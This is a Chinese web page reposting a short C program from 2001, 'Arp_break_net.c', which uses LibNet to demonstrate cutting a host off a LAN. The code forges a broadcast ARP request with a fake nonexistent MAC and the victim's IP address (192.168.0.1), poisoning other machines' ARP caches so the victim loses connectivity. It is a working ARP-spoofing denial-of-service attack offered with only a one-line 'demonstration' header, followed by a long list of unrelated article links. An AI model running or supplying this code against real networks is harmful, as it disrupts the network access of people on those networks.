动态ARP可导致整个TCP/IP网络中断
程序名:Arp_break_net.c
用途 :演示通过ARP数据包使网络中的某主机无法连接网络
演示中192.168.0.1 将无法连接进入网络
编写 :cloud
时间 :2001-2-11
其他 :程序依赖LibNet
*/
#include
u_char enet_src[6] = {0,0,0,0}; //源MAC地址 (伪造的一个不存在MAC地址)
u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
//目标MAC地址(广播地址)
u_char ip_src[4] = {192,168,0,1};
//源IP地址 (被踢出网络的IP地址)
u_char ip_dst[4] = {192,168,0,255};
//目标IP地址 (随便一个IP地址)
int main(int argc, char *argv[])
{
int c;
char errbuf[256];
char *device = "eth0"; //数据包从第一个网卡发送出去
struct libnet_link_int *l;
l = libnet_open_link_interface(device, errbuf); //打开设备
if (!l)
{
fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
exit(EXIT_FAILURE);
}
c = send_arp(l, device); //发送ARP数据包
return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
int send_arp(struct link_int *l, u_char *device)
{
int n;
u_char *buf;
if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
{
perror("libnet_init_packet memory:");
exit(EXIT_FAILURE);
}
/*
* 构造以太数据包头部信息
*/
libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
/*
* 构造ARP数据包头部信息
*/
libnet_build_arp(ARPHRD_ETHER,
ETHERTYPE_IP,
6,
4,
ARPOP_REQUEST,
enet_src,
ip_src,
enet_dst,
ip_dst,
NULL,
0,
buf + ETH_H);
n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H); //发送数据包
printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);
libnet_destroy_packet(&buf);
return (n);
}
最热门文章推荐:
>· 网站优化工具
>· 网站优化技巧
>· 专业网站优化
>· cs优化
>· 如何推广网站
>· 网站推广计划书
>· 网站推广的方法
>· 网站推广文章
下一篇:密码学简介
↓相关文章:
- · 密码学简介
- · KV3000修复硬盘数据办法!!
- · 利用mpd搭建基于PPTP协议的企业级VPN
- · 网络攻击的六大趋势
- · 剖析入侵检测系统的安全性
- · 网上银行的安全性分析
- · 局域网的维护之网络安全
- · Linux系统中的防火墙技术及其应用
- · 关闭危险之门,防止黑客入侵
- · IT主管:网络安全从哪入手?
- · 三招助您简化网络安全
- · 电信业网络安全综合解决方案
- · Juniper网络安全方案餐饮连锁店应用
- · SecurityGateway3.0垃圾邮件的清道夫
- · WebShield和SpamKiller3000安全解决方案
- · 国税系统网络安全解决方案
- · 如何加强政府网络的全方位安全性?
- · 构建铜墙铁壁式的企业网络
- · 安全简单实用
- · 某市电信局网络安全解决方案
- · ICMP路由通告的安全问题描述及解决措施
- · 中国人民银行在广域网下的防病毒方案
- · 对安全项目的规划与管理
- · 银行网络安全系统技术方案
- · 网络安全与系统稳定性保障的解决方案
- · “网络巡警”保安全
- · 将安全触角延伸到每一角落——晓通网络商务楼用户宽带接入安全解决方案
- · 建筑立体防毒网——McAfee银行业防病毒方案
- · FENSTS网络安全整体解决方案
- · 政府上网,安全第一
- · 税务系统网络安全解决方案
- · 银行网络安全解决方案
- · 证券行业网络安全解决方案
- · 金融网络的安全分析及设计
- · 如何加强政府网络的安全
- · 网络安全综合解决方案
- · 趋势科技校园网安全方案
- · MiKey在网络办公中的安全解决方案
- · iGate易门访问控制安全解决方案
- · 瑞星专业化网络安全解决方案概述
- · 中联通讯信息安全体系之VPN解决方案
- · 网络安全整体解决方案
- · 格方网上银行系统安全解决方案
- · 电信行业网络安全解决方案(二)
- · 电信行业网络安全解决方案(一)
- · 江苏电信IP网网络安全解决方案
- · “黑客煞星”实现静态与动态平衡
- · 国内黑客高手的联系方法
- · 企业网安全分析
- · 防毒因模式而异
- · 如何选择防病毒系统
- · 安全方案面面观
- · 安全统一管理方案一览
- · 网络广告的优势与特点
- · 如何让你的网络广告更有效——网络广告策划策略探索
- · 网络广告效果已被认可发展前景颇为乐观
- · 3721上网助手拦截全部广告提升上网速度
- · 2003年中国网络广告十大盘点
- · 炼狱里的网络广告
- · 网络广告成大公司新宠05年将达80亿
- · 分析:2004弹出式广告已到生死关头
- · 弹出广告,效果才是硬道理?
- · 网络广告何时不再侵犯网民
- · 网络广告策划过程
- · 网络广告业的四大希望
- · 网络广告五步曲
- · 提高网络广告效果九要诀
- · 网络广告技巧
- · 网络广告的优势
- · 网络广告应如何计价
- · 如何让广告语深入人心
- · 捆绑”网络广告
- · 成功登录著名搜索引擎Yahoo!的技巧
- · 调查显示付费搜索已成为网络广告重要营收源
- · 关于网站推广采用的载体分析
- · 促销多打文化牌
- · Google小秘密
- · PR更新总结
- · 关于网站GooglePR与网站SEO
- · 电子商务中的支付问题

